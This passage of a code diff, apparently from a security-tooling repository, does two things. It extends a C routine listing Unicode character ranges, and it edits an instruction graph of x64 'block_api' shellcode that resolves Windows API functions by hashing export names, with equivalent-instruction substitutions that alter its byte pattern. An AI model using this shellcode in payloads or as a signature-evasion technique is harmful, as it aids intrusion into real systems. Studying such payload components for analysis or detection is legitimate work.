+// 1D2C0..1D2DF; Kaktovik Numerals
+	c = 0x1d2c0;		// from KAKTOVIK NUMERAL ZERO
+	while (c <= 0x1d2d3)	// ..to KAKTOVIK NUMERAL NINETEEN
+		charset[i++] = c++;
 // 1D2E0..1D2FF; Mayan Numerals
 	c = 0x1d2e0;		// from MAYAN NUMERAL ZERO
 	while (c <= 0x1d2f3)	// ..to MAYAN NUMERAL NINETEEN
@@ -2131,6 +2281,13 @@ void init()
 	c = 0x1daa1;		// from SIGNWRITING ROTATION MODIFIER-2
 	while (c <= 0x1daaf)	// ..to SIGNWRITING ROTATION MODIFIER-16
 		charset[i++] = c++;
+// 1DF00..1DFFF; Latin Extended-G
+	c = 0x1df00;		// from LATIN SMALL LETTER FENG DIGRAPH WITH TRILL
+	while (c <= 0x1df1e)	// ..to LATIN SMALL LETTER S WITH CURL
+		charset[i++] = c++;
+	c = 0x1df25;		// from LATIN SMALL LETTER D WITH MID-HEIGHT LEFT HOOK
+	while (c <= 0x1df2a)	// ..to LATIN SMALL LETTER T WITH MID-HEIGHT LEFT HOOK
+		charset[i++] = c++;
 // 1E000..1E02F; Glagolitic Supplement
 	c = 0x1e000;		// from COMBINING GLAGOLITIC LETTER AZU
 	while (c <= 0x1e006)	// ..to COMBINING GLAGOLITIC LETTER ZHIVETE
@@ -2146,6 +2303,11 @@ void init()
 	c = 0x1e026;		// from COMBINING GLAGOLITIC LETTER YO
 	while (c <= 0x1e02a)	// ..to COMBINING GLAGOLITIC LETTER FITA
 		charset[i++] = c++;
+// 1E030..1E08F; Cyrillic Extended-D
+	c = 0x1e030;		// from MODIFIER LETTER CYRILLIC SMALL A
+	while (c <= 0x1e06d)	// ..to MODIFIER LETTER CYRILLIC SMALL STRAIGHT U WITH STROKE
+		charset[i++] = c++;
+	charset[i++] = 0x1e08f;	// COMBINING CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I
 // 1E100..1E14F; Nyiakeng Puachue Hmong
 	c = 0x1e100;		// from NYIAKENG PUACHUE HMONG LETTER MA
 	while (c <= 0x1e12c)	// ..to NYIAKENG PUACHUE HMONG LETTER W
@@ -2158,11 +2320,36 @@ void init()
 		charset[i++] = c++;
 	charset[i++] = 0x1e14e;	// NYIAKENG PUACHUE HMONG LOGOGRAM NYAJ
 	charset[i++] = 0x1e14f;	// NYIAKENG PUACHUE HMONG CIRCLED CA
+// 1E290..1E2BF; Toto
+	c = 0x1e290;		// from TOTO LETTER PA
+	while (c <= 0x1e2ae)	// ..to TOTO SIGN RISING TONE
+		charset[i++] = c++;
 // 1E2C0..1E2FF; Wancho
 	c = 0x1e2c0;		// from WANCHO LETTER AA
 	while (c <= 0x1e2f9)	// ..to WANCHO DIGIT NINE
 		charset[i++] = c++;
 	charset[i++] = 0x1e2ff;	// WANCHO NGUN SIGN
+// 1E4D0..1E4FF; Nag Mundari
+	c = 0x1e4d0;		// from NAG MUNDARI LETTER O
+	while (c <= 0x1e4f9)	// ..to NAG MUNDARI DIGIT NINE
+		charset[i++] = c++;
+// 1E5D0..1E5FF; Ol Onal
+	c = 0x1e5d0;		// from OL ONAL LETTER O
+	while (c <= 0x1e5fa)	// ..to OL ONAL DIGIT NINE
+		charset[i++] = c++;
+	charset[i++] = 0x1e5ff;	// OL ONAL ABBREVIATION SIGN
+// 1E7E0..1E7FF; Ethiopic Extended-B
+	c = 0x1e7e0;		// from ETHIOPIC SYLLABLE HHYA
+	while (c <= 0x1e7e6)	// ..to ETHIOPIC SYLLABLE HHYO
+		charset[i++] = c++;
+	c = 0x1e7e8;		// from ETHIOPIC SYLLABLE GURAGE HHWA
+	while (c <= 0x1e7eb)	// ..to ETHIOPIC SYLLABLE HHWE
+		charset[i++] = c++;
+	charset[i++] = 0x1e7ed;	// ETHIOPIC SYLLABLE GURAGE MWI
+	charset[i++] = 0x1e7ee;	// ETHIOPIC SYLLABLE GURAGE MWEE
+	c = 0x1e7f0;		// from ETHIOPIC SYLLABLE GURAGE QWI
+	while (c <= 0x1e7fe)	// ..to ETHIOPIC SYLLABLE GURAGE PWEE
+		charset[i++] = c++;
 // 1E800..1E8DF; Mende Kikakui
 	c = 0x1e800;		// from MENDE KIKAKUI SYLLABLE M001 KI
 	while (c <= 0x1e8c4)	// ..to MENDE KIKAKUI SYLLABLE M060 NYON
@@ -2294,7 +2481,7 @@ void init()
 	c = 0x1f680;		// from ROCKET
 	while (c <= 0x1f6d7)	// ..to ELEVATOR
 		charset[i++] = c++;
-	c = 0x1f6e0;		// from HAMMER AND WRENCH
+	c = 0x1f6dc;		// from WIRELESS
 	while (c <= 0x1f6ec)	// ..to AIRPLANE ARRIVING
 		charset[i++] = c++;
 	c = 0x1f6f0;		// from SATELLITE
@@ -2302,15 +2489,19 @@ void init()
 		charset[i++] = c++;
 // 1F700..1F77F; Alchemical Symbols
 	c = 0x1f700;		// from ALCHEMICAL SYMBOL FOR QUINTESSENCE
-	while (c <= 0x1f773)	// ..to ALCHEMICAL SYMBOL FOR HALF OUNCE
+	while (c <= 0x1f776)	// ..to LUNAR ECLIPSE
+		charset[i++] = c++;
+	c = 0x1f77b;		// from HAUMEA
+	while (c <= 0x1f77f)	// ..to ORCUS
 		charset[i++] = c++;
 // 1F780..1F7FF; Geometric Shapes Extended
 	c = 0x1f780;		// from BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE
-	while (c <= 0x1f7d8)	// ..to NEGATIVE CIRCLED SQUARE
+	while (c <= 0x1f7d9)	// ..to NINE POINTED WHITE STAR
 		charset[i++] = c++;
 	c = 0x1f7e0;		// from LARGE ORANGE CIRCLE
 	while (c <= 0x1f7eb)	// ..to LARGE BROWN SQUARE
 		charset[i++] = c++;
+	charset[i++] = 0x1f7f0;	// HEAVY EQUALS SIGN
 // 1F800..1F8FF; Supplemental Arrows-C
 	c = 0x1f800;		// from LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD
 	while (c <= 0x1f80b)	// ..to DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
@@ -2327,16 +2518,13 @@ void init()
 	c = 0x1f890;		// from LEFTWARDS TRIANGLE ARROWHEAD
 	while (c <= 0x1f8ad)	// ..to WHITE ARROW SHAFT WIDTH TWO THIRDS
 		charset[i++] = c++;
-	charset[i++] = 0x1f8b0;	// ARROW POINTING UPWARDS THEN NORTH WEST
-	charset[i++] = 0x1f8b1;	// ARROW POINTING RIGHTWARDS THEN CURVING SOUTH WEST
+	c = 0x1f8b0;		// from ARROW POINTING UPWARDS THEN NORTH WEST
+	while (c <= 0x1f8bb)	// ..to SOUTH WEST ARROW FROM BAR
+		charset[i++] = c++;
+	charset[i++] = 0x1f8c0;	// LEFTWARDS ARROW FROM DOWNWARDS ARROW
+	charset[i++] = 0x1f8c1;	// RIGHTWARDS ARROW FROM DOWNWARDS ARROW
 // 1F900..1F9FF; Supplemental Symbols and Pictographs
 	c = 0x1f900;		// from CIRCLED CROSS FORMEE WITH FOUR DOTS
-	while (c <= 0x1f978)	// ..to DISGUISED FACE
-		charset[i++] = c++;
-	c = 0x1f97a;		// from FACE WITH PLEADING EYES
-	while (c <= 0x1f9cb)	// ..to BUBBLE TEA
-		charset[i++] = c++;
-	c = 0x1f9cd;		// from STANDING PERSON
 	while (c <= 0x1f9ff)	// ..to NAZAR AMULET
 		charset[i++] = c++;
 // 1FA00..1FA6F; Chess Symbols
@@ -2348,41 +2536,37 @@ void init()
 		charset[i++] = c++;
 // 1FA70..1FAFF; Symbols and Pictographs Extended-A
 	c = 0x1fa70;		// from BALLET SHOES
-	while (c <= 0x1fa74)	// ..to THONG SANDAL
+	while (c <= 0x1fa7c)	// ..to CRUTCH
 		charset[i++] = c++;
-	charset[i++] = 0x1fa78;	// DROP OF BLOOD
-	charset[i++] = 0x1fa7a;	// STETHOSCOPE
 	c = 0x1fa80;		// from YO-YO
-	while (c <= 0x1fa86)	// ..to NESTING DOLLS
+	while (c <= 0x1fa89)	// ..to HARP
 		charset[i++] = c++;
-	c = 0x1fa90;		// from RINGED PLANET
-	while (c <= 0x1faa8)	// ..to ROCK
+	c = 0x1fa8f;		// from SHOVEL
+	while (c <= 0x1fac6)	// ..to FINGERPRINT
 		charset[i++] = c++;
-	c = 0x1fab0;		// from FLY
-	while (c <= 0x1fab6)	// ..to FEATHER
+	c = 0x1face;		// from MOOSE
+	while (c <= 0x1fadc)	// ..to ROOT VEGETABLE
 		charset[i++] = c++;
-	charset[i++] = 0x1fac0;	// ANATOMICAL HEART
-	charset[i++] = 0x1fac2;	// PEOPLE HUGGING
-	c = 0x1fad0;		// from BLUEBERRIES
-	while (c <= 0x1fad6)	// ..to TEAPOT
+	c = 0x1fadf;		// from SPLATTER
+	while (c <= 0x1fae9)	// ..to FACE WITH BAGS UNDER EYES
+		charset[i++] = c++;
+	c = 0x1faf0;		// from HAND WITH INDEX FINGER AND THUMB CROSSED
+	while (c <= 0x1faf8)	// ..to RIGHTWARDS PUSHING HAND
 		charset[i++] = c++;
 // 1FB00..1FBFF; Symbols for Legacy Computing
 	c = 0x1fb00;		// from BLOCK SEXTANT-1
 	while (c <= 0x1fb92)	// ..to UPPER HALF INVERSE MEDIUM SHADE AND LOWER HALF BLOCK
 		charset[i++] = c++;
 	c = 0x1fb94;		// from LEFT HALF INVERSE MEDIUM SHADE AND RIGHT HALF BLOCK
-	while (c <= 0x1fbca)	// ..to WHITE UP-POINTING CHEVRON
-		charset[i++] = c++;
-	c = 0x1fbf0;		// from SEGMENTED DIGIT ZERO
 	while (c <= 0x1fbf9)	// ..to SEGMENTED DIGIT NINE
 		charset[i++] = c++;
 // 20000..2A6DF; CJK Unified Ideographs Extension B
 	c = 0x20000;		// from <CJK Ideograph Extension B, First>
-	while (c <= 0x2a6dd)	// ..to <CJK Ideograph Extension B, Last>
+	while (c <= 0x2a6df)	// ..to <CJK Ideograph Extension B, Last>
 		charset[i++] = c++;
 // 2A700..2B73F; CJK Unified Ideographs Extension C
 	c = 0x2a700;		// from <CJK Ideograph Extension C, First>
-	while (c <= 0x2b734)	// ..to <CJK Ideograph Extension C, Last>
+	while (c <= 0x2b739)	// ..to <CJK Ideograph Extension C, Last>
 		charset[i++] = c++;
 // 2B740..2B81F; CJK Unified Ideographs Extension D
 	c = 0x2b740;		// from <CJK Ideograph Extension D, First>
@@ -2396,6 +2580,10 @@ void init()
 	c = 0x2ceb0;		// from <CJK Ideograph Extension F, First>
 	while (c <= 0x2ebe0)	// ..to <CJK Ideograph Extension F, Last>
 		charset[i++] = c++;
+// 2EBF0..2EE5F; CJK Unified Ideographs Extension I
+	c = 0x2ebf0;		// from <CJK Ideograph Extension I, First>
+	while (c <= 0x2ee5d)	// ..to <CJK Ideograph Extension I, Last>
+		charset[i++] = c++;
 // 2F800..2FA1F; CJK Compatibility Ideographs Supplement
 	c = 0x2f800;		// from CJK COMPATIBILITY IDEOGRAPH-2F800
 	while (c <= 0x2fa1d)	// ..to CJK COMPATIBILITY IDEOGRAPH-2FA1D
@@ -2404,6 +2592,10 @@ void init()
 	c = 0x30000;		// from <CJK Ideograph Extension G, First>
 	while (c <= 0x3134a)	// ..to <CJK Ideograph Extension G, Last>
 		charset[i++] = c++;
+// 31350..323AF; CJK Unified Ideographs Extension H
+	c = 0x31350;		// from <CJK Ideograph Extension H, First>
+	while (c <= 0x323af)	// ..to <CJK Ideograph Extension H, Last>
+		charset[i++] = c++;
 // E0000..E007F; Tags
 	c = 0xe0020;		// from TAG SPACE
 	while (c <= 0xe007f)	// ..to CANCEL TAG

data/shellcode/block_api.x64.graphml

@@ -90,350 +90,343 @@
         <node id="block.0x1017:instruction.0x101b">
           <data key="address">0x101b</data>
           <data key="type">instruction</data>
-          <data key="instruction.hex">480fb74a4a</data>
-          <data key="instruction.source">movzx rcx, word ptr [rdx + 0x4a]</data>
+          <data key="instruction.hex">480fb74a48</data>
+          <data key="instruction.source">movzx rcx, word ptr [rdx + 0x48]</data>
         </node>
         <node id="block.0x1017:instruction.0x1020">
           <data key="address">0x1020</data>
           <data key="type">instruction</data>
-          <data key="instruction.hex">4d31c9</data>
-          <data key="instruction.source">xor r9, r9</data>
+          <data key="instruction.hex">41b900000000</data>
+          <data key="instruction.source">mov r9d, 0</data>
         </node>
       </graph>
     </node>
-    <node id="block.0x1023">
-      <data key="address">0x1023</data>
+    <node id="block.0x1026">
+      <data key="address">0x1026</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x1023</data>
+        <data key="address">0x1026</data>
         <data key="type">block</data>
-        <node id="block.0x1023:instruction.0x1023">
-          <data key="address">0x1023</data>
+        <node id="block.0x1026:instruction.0x1026">
+          <data key="address">0x1026</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">4831c0</data>
           <data key="instruction.source">xor rax, rax</data>
         </node>
-        <node id="block.0x1023:instruction.0x1026">
-          <data key="address">0x1026</data>
+        <node id="block.0x1026:instruction.0x1029">
+          <data key="address">0x1029</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">ac</data>
           <data key="instruction.source">lodsb al, byte ptr [rsi]</data>
         </node>
-        <node id="block.0x1023:instruction.0x1027">
-          <data key="address">0x1027</data>
+        <node id="block.0x1026:instruction.0x102a">
+          <data key="address">0x102a</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">3c61</data>
           <data key="instruction.source">cmp al, 0x61</data>
         </node>
-        <node id="block.0x1023:instruction.0x1029">
-          <data key="address">0x1029</data>
+        <node id="block.0x1026:instruction.0x102c">
+          <data key="address">0x102c</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">7c02</data>
-          <data key="instruction.source">jl 0x102d</data>
+          <data key="instruction.source">jl 0x1030</data>
         </node>
-        <edge source="block.0x1023:instruction.0x1023" target="block.0x1023:instruction.0x1026"/>
-        <edge source="block.0x1023:instruction.0x1026" target="block.0x1023:instruction.0x1027"/>
-        <edge source="block.0x1023:instruction.0x1027" target="block.0x1023:instruction.0x1029"/>
+        <edge source="block.0x1026:instruction.0x1026" target="block.0x1026:instruction.0x1029"/>
+        <edge source="block.0x1026:instruction.0x1029" target="block.0x1026:instruction.0x102a"/>
+        <edge source="block.0x1026:instruction.0x102a" target="block.0x1026:instruction.0x102c"/>
       </graph>
     </node>
-    <node id="block.0x102b">
-      <data key="address">0x102b</data>
+    <node id="block.0x102e">
+      <data key="address">0x102e</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x102b</data>
+        <data key="address">0x102e</data>
         <data key="type">block</data>
-        <node id="block.0x102b:instruction.0x102b">
-          <data key="address">0x102b</data>
+        <node id="block.0x102e:instruction.0x102e">
+          <data key="address">0x102e</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">2c20</data>
           <data key="instruction.source">sub al, 0x20</data>
         </node>
       </graph>
     </node>
-    <node id="block.0x102d">
-      <data key="address">0x102d</data>
+    <node id="block.0x1030">
+      <data key="address">0x1030</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x102d</data>
+        <data key="address">0x1030</data>
         <data key="type">block</data>
-        <node id="block.0x102d:instruction.0x102d">
-          <data key="address">0x102d</data>
+        <node id="block.0x1030:instruction.0x1030">
+          <data key="address">0x1030</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">41c1c90d</data>
           <data key="instruction.source">ror r9d, 0xd</data>
         </node>
-        <node id="block.0x102d:instruction.0x1031">
-          <data key="address">0x1031</data>
+        <node id="block.0x1030:instruction.0x1034">
+          <data key="address">0x1034</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">4101c1</data>
           <data key="instruction.source">add r9d, eax</data>
         </node>
-        <node id="block.0x102d:instruction.0x1034">
-          <data key="address">0x1034</data>
+        <node id="block.0x1030:instruction.0x1037">
+          <data key="address">0x1037</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">e2ed</data>
-          <data key="instruction.source">loop 0x1023</data>
+          <data key="instruction.source">loop 0x1026</data>
         </node>
-        <edge source="block.0x102d:instruction.0x102d" target="block.0x102d:instruction.0x1031"/>
-        <edge source="block.0x102d:instruction.0x1031" target="block.0x102d:instruction.0x1034"/>
+        <edge source="block.0x1030:instruction.0x1030" target="block.0x1030:instruction.0x1034"/>
+        <edge source="block.0x1030:instruction.0x1034" target="block.0x1030:instruction.0x1037"/>
       </graph>
     </node>
-    <node id="block.0x1036">
-      <data key="address">0x1036</data>
+    <node id="block.0x1039">
+      <data key="address">0x1039</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x1036</data>
+        <data key="address">0x1039</data>
         <data key="type">block</data>
-        <node id="block.0x1036:instruction.0x1036">
-          <data key="address">0x1036</data>
+        <node id="block.0x1039:instruction.0x1039">
+          <data key="address">0x1039</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">52</data>
           <data key="instruction.source">push rdx</data>
         </node>
-        <node id="block.0x1036:instruction.0x1037">
-          <data key="address">0x1037</data>
+        <node id="block.0x1039:instruction.0x103a">
+          <data key="address">0x103a</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">4151</data>
           <data key="instruction.source">push r9</data>
         </node>
-        <node id="block.0x1036:instruction.0x1039">
-          <data key="address">0x1039</data>
+        <node id="block.0x1039:instruction.0x103c">
+          <data key="address">0x103c</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">488b5220</data>
           <data key="instruction.source">mov rdx, qword ptr [rdx + 0x20]</data>
         </node>
-        <node id="block.0x1036:instruction.0x103d">
-          <data key="address">0x103d</data>
+        <node id="block.0x1039:instruction.0x1040">
+          <data key="address">0x1040</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">8b423c</data>
           <data key="instruction.source">mov eax, dword ptr [rdx + 0x3c]</data>
         </node>
-        <node id="block.0x1036:instruction.0x1040">
-          <data key="address">0x1040</data>
+        <node id="block.0x1039:instruction.0x1043">
+          <data key="address">0x1043</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">4801d0</data>
           <data key="instruction.source">add rax, rdx</data>
         </node>
-        <node id="block.0x1036:instruction.0x1043">
-          <data key="address">0x1043</data>
+        <node id="block.0x1039:instruction.0x1046">
+          <data key="address">0x1046</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">668178180b02</data>
           <data key="instruction.source">cmp word ptr [rax + 0x18], 0x20b</data>
         </node>
-        <node id="block.0x1036:instruction.0x1049">
-          <data key="address">0x1049</data>
+        <node id="block.0x1039:instruction.0x104c">
+          <data key="address">0x104c</data>
           <data key="type">instruction</data>
-          <data key="instruction.hex">7572</data>
+          <data key="instruction.hex">756f</data>
           <data key="instruction.source">jne 0x10bd</data>
         </node>
-        <edge source="block.0x1036:instruction.0x1036" target="block.0x1036:instruction.0x1039"/>
-        <edge source="block.0x1036:instruction.0x1036" target="block.0x1036:instruction.0x1037"/>
-        <edge source="block.0x1036:instruction.0x1037" target="block.0x1036:instruction.0x1049"/>
-        <edge source="block.0x1036:instruction.0x1039" target="block.0x1036:instruction.0x103d"/>
-        <edge source="block.0x1036:instruction.0x1039" target="block.0x1036:instruction.0x1040"/>
-        <edge source="block.0x1036:instruction.0x103d" target="block.0x1036:instruction.0x1040"/>
-        <edge source="block.0x1036:instruction.0x1040" target="block.0x1036:instruction.0x1043"/>
-        <edge source="block.0x1036:instruction.0x1043" target="block.0x1036:instruction.0x1049"/>
+        <edge source="block.0x1039:instruction.0x1039" target="block.0x1039:instruction.0x103c"/>
+        <edge source="block.0x1039:instruction.0x1039" target="block.0x1039:instruction.0x103a"/>
+        <edge source="block.0x1039:instruction.0x103a" target="block.0x1039:instruction.0x104c"/>
+        <edge source="block.0x1039:instruction.0x103c" target="block.0x1039:instruction.0x1040"/>
+        <edge source="block.0x1039:instruction.0x103c" target="block.0x1039:instruction.0x1043"/>
+        <edge source="block.0x1039:instruction.0x1040" target="block.0x1039:instruction.0x1043"/>
+        <edge source="block.0x1039:instruction.0x1043" target="block.0x1039:instruction.0x1046"/>
+        <edge source="block.0x1039:instruction.0x1046" target="block.0x1039:instruction.0x104c"/>
       </graph>
     </node>
-    <node id="block.0x104b">
-      <data key="address">0x104b</data>
+    <node id="block.0x104e">
+      <data key="address">0x104e</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x104b</data>
+        <data key="address">0x104e</data>
         <data key="type">block</data>
-        <node id="block.0x104b:instruction.0x104b">
-          <data key="address">0x104b</data>
+        <node id="block.0x104e:instruction.0x104e">
+          <data key="address">0x104e</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">8b8088000000</data>
           <data key="instruction.source">mov eax, dword ptr [rax + 0x88]</data>
         </node>
-        <node id="block.0x104b:instruction.0x1051">
-          <data key="address">0x1051</data>
+        <node id="block.0x104e:instruction.0x1054">
+          <data key="address">0x1054</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">4885c0</data>
           <data key="instruction.source">test rax, rax</data>
         </node>
-        <node id="block.0x104b:instruction.0x1054">
-          <data key="address">0x1054</data>
+        <node id="block.0x104e:instruction.0x1057">
+          <data key="address">0x1057</data>
           <data key="type">instruction</data>
-          <data key="instruction.hex">7467</data>
+          <data key="instruction.hex">7464</data>
           <data key="instruction.source">je 0x10bd</data>
         </node>
-        <edge source="block.0x104b:instruction.0x104b" target="block.0x104b:instruction.0x1051"/>
-        <edge source="block.0x104b:instruction.0x1051" target="block.0x104b:instruction.0x1054"/>
+        <edge source="block.0x104e:instruction.0x104e" target="block.0x104e:instruction.0x1054"/>
+        <edge source="block.0x104e:instruction.0x1054" target="block.0x104e:instruction.0x1057"/>
       </graph>
     </node>
-    <node id="block.0x1056">
-      <data key="address">0x1056</data>
+    <node id="block.0x1059">
+      <data key="address">0x1059</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x1056</data>
+        <data key="address">0x1059</data>
         <data key="type">block</data>
-        <node id="block.0x1056:instruction.0x1056">
-          <data key="address">0x1056</data>
+        <node id="block.0x1059:instruction.0x1059">
+          <data key="address">0x1059</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">4801d0</data>
           <data key="instruction.source">add rax, rdx</data>
         </node>
-        <node id="block.0x1056:instruction.0x1059">
-          <data key="address">0x1059</data>
+        <node id="block.0x1059:instruction.0x105c">
+          <data key="address">0x105c</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">50</data>
           <data key="instruction.source">push rax</data>
         </node>
-        <node id="block.0x1056:instruction.0x105a">
-          <data key="address">0x105a</data>
+        <node id="block.0x1059:instruction.0x105d">
+          <data key="address">0x105d</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">8b4818</data>
           <data key="instruction.source">mov ecx, dword ptr [rax + 0x18]</data>
         </node>
-        <node id="block.0x1056:instruction.0x105d">
-          <data key="address">0x105d</data>
+        <node id="block.0x1059:instruction.0x1060">
+          <data key="address">0x1060</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">448b4020</data>
           <data key="instruction.source">mov r8d, dword ptr [rax + 0x20]</data>
         </node>
-        <node id="block.0x1056:instruction.0x1061">
-          <data key="address">0x1061</data>
+        <node id="block.0x1059:instruction.0x1064">
+          <data key="address">0x1064</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">4901d0</data>
           <data key="instruction.source">add r8, rdx</data>
         </node>
-        <edge source="block.0x1056:instruction.0x1056" target="block.0x1056:instruction.0x1059"/>
-        <edge source="block.0x1056:instruction.0x1056" target="block.0x1056:instruction.0x105a"/>
-        <edge source="block.0x1056:instruction.0x1056" target="block.0x1056:instruction.0x105d"/>
-        <edge source="block.0x1056:instruction.0x105d" target="block.0x1056:instruction.0x1061"/>
+        <edge source="block.0x1059:instruction.0x1059" target="block.0x1059:instruction.0x105c"/>
+        <edge source="block.0x1059:instruction.0x1059" target="block.0x1059:instruction.0x105d"/>
+        <edge source="block.0x1059:instruction.0x1059" target="block.0x1059:instruction.0x1060"/>
+        <edge source="block.0x1059:instruction.0x1060" target="block.0x1059:instruction.0x1064"/>
       </graph>
     </node>
-    <node id="block.0x1064">
-      <data key="address">0x1064</data>
+    <node id="block.0x1067">
+      <data key="address">0x1067</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x1064</data>
+        <data key="address">0x1067</data>
         <data key="type">block</data>
-        <node id="block.0x1064:instruction.0x1064">
-          <data key="address">0x1064</data>
+        <node id="block.0x1067:instruction.0x1067">
+          <data key="address">0x1067</data>
           <data key="type">instruction</data>
-          <data key="instruction.hex">e356</data>
+          <data key="instruction.hex">e353</data>
           <data key="instruction.source">jrcxz 0x10bc</data>
         </node>
       </graph>
     </node>
-    <node id="block.0x1066">
-      <data key="address">0x1066</data>
+    <node id="block.0x1069">
+      <data key="address">0x1069</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x1066</data>
+        <data key="address">0x1069</data>
         <data key="type">block</data>
-        <node id="block.0x1066:instruction.0x1066">
-          <data key="address">0x1066</data>
+        <node id="block.0x1069:instruction.0x1069">
+          <data key="address">0x1069</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">48ffc9</data>
           <data key="instruction.source">dec rcx</data>
         </node>
-        <node id="block.0x1066:instruction.0x1069">
-          <data key="address">0x1069</data>
+        <node id="block.0x1069:instruction.0x106c">
+          <data key="address">0x106c</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">418b3488</data>
           <data key="instruction.source">mov esi, dword ptr [r8 + rcx*4]</data>
         </node>
-        <node id="block.0x1066:instruction.0x106d">
-          <data key="address">0x106d</data>
+        <node id="block.0x1069:instruction.0x1070">
+          <data key="address">0x1070</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">4801d6</data>
           <data key="instruction.source">add rsi, rdx</data>
         </node>
-        <node id="block.0x1066:instruction.0x1070">
-          <data key="address">0x1070</data>
+        <node id="block.0x1069:instruction.0x1073">
+          <data key="address">0x1073</data>
           <data key="type">instruction</data>
-          <data key="instruction.hex">4d31c9</data>
-          <data key="instruction.source">xor r9, r9</data>
+          <data key="instruction.hex">448b4c2408</data>
+          <data key="instruction.source">mov r9d, dword ptr [rsp + 8]</data>
         </node>
-        <edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x106d"/>
-        <edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x1069"/>
-        <edge source="block.0x1066:instruction.0x1069" target="block.0x1066:instruction.0x106d"/>
+        <edge source="block.0x1069:instruction.0x1069" target="block.0x1069:instruction.0x1070"/>
+        <edge source="block.0x1069:instruction.0x1069" target="block.0x1069:instruction.0x106c"/>
+        <edge source="block.0x1069:instruction.0x106c" target="block.0x1069:instruction.0x1070"/>
       </graph>
     </node>
-    <node id="block.0x1073">
-      <data key="address">0x1073</data>
+    <node id="block.0x1078">
+      <data key="address">0x1078</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x1073</data>
+        <data key="address">0x1078</data>
         <data key="type">block</data>
-        <node id="block.0x1073:instruction.0x1073">
-          <data key="address">0x1073</data>
+        <node id="block.0x1078:instruction.0x1078">
+          <data key="address">0x1078</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">4831c0</data>
           <data key="instruction.source">xor rax, rax</data>
         </node>
-        <node id="block.0x1073:instruction.0x1076">
-          <data key="address">0x1076</data>
+        <node id="block.0x1078:instruction.0x107b">
+          <data key="address">0x107b</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">ac</data>
           <data key="instruction.source">lodsb al, byte ptr [rsi]</data>
         </node>
-        <node id="block.0x1073:instruction.0x1077">
-          <data key="address">0x1077</data>
+        <node id="block.0x1078:instruction.0x107c">
+          <data key="address">0x107c</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">41c1c90d</data>
           <data key="instruction.source">ror r9d, 0xd</data>
         </node>
-        <node id="block.0x1073:instruction.0x107b">
-          <data key="address">0x107b</data>
+        <node id="block.0x1078:instruction.0x1080">
+          <data key="address">0x1080</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">4101c1</data>
           <data key="instruction.source">add r9d, eax</data>
         </node>
-        <node id="block.0x1073:instruction.0x107e">
-          <data key="address">0x107e</data>
+        <node id="block.0x1078:instruction.0x1083">
+          <data key="address">0x1083</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">38e0</data>
           <data key="instruction.source">cmp al, ah</data>
         </node>
-        <node id="block.0x1073:instruction.0x1080">
-          <data key="address">0x1080</data>
+        <node id="block.0x1078:instruction.0x1085">
+          <data key="address">0x1085</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">75f1</data>
-          <data key="instruction.source">jne 0x1073</data>
+          <data key="instruction.source">jne 0x1078</data>
         </node>
-        <edge source="block.0x1073:instruction.0x1073" target="block.0x1073:instruction.0x1076"/>
-        <edge source="block.0x1073:instruction.0x1073" target="block.0x1073:instruction.0x1077"/>
-        <edge source="block.0x1073:instruction.0x1073" target="block.0x1073:instruction.0x107e"/>
-        <edge source="block.0x1073:instruction.0x1076" target="block.0x1073:instruction.0x107b"/>
-        <edge source="block.0x1073:instruction.0x1076" target="block.0x1073:instruction.0x107e"/>
-        <edge source="block.0x1073:instruction.0x1077" target="block.0x1073:instruction.0x107b"/>
-        <edge source="block.0x1073:instruction.0x1077" target="block.0x1073:instruction.0x1080"/>
-        <edge source="block.0x1073:instruction.0x107b" target="block.0x1073:instruction.0x107e"/>
-        <edge source="block.0x1073:instruction.0x107e" target="block.0x1073:instruction.0x1080"/>
+        <edge source="block.0x1078:instruction.0x1078" target="block.0x1078:instruction.0x107b"/>
+        <edge source="block.0x1078:instruction.0x1078" target="block.0x1078:instruction.0x107c"/>
+        <edge source="block.0x1078:instruction.0x1078" target="block.0x1078:instruction.0x1083"/>
+        <edge source="block.0x1078:instruction.0x107b" target="block.0x1078:instruction.0x1080"/>
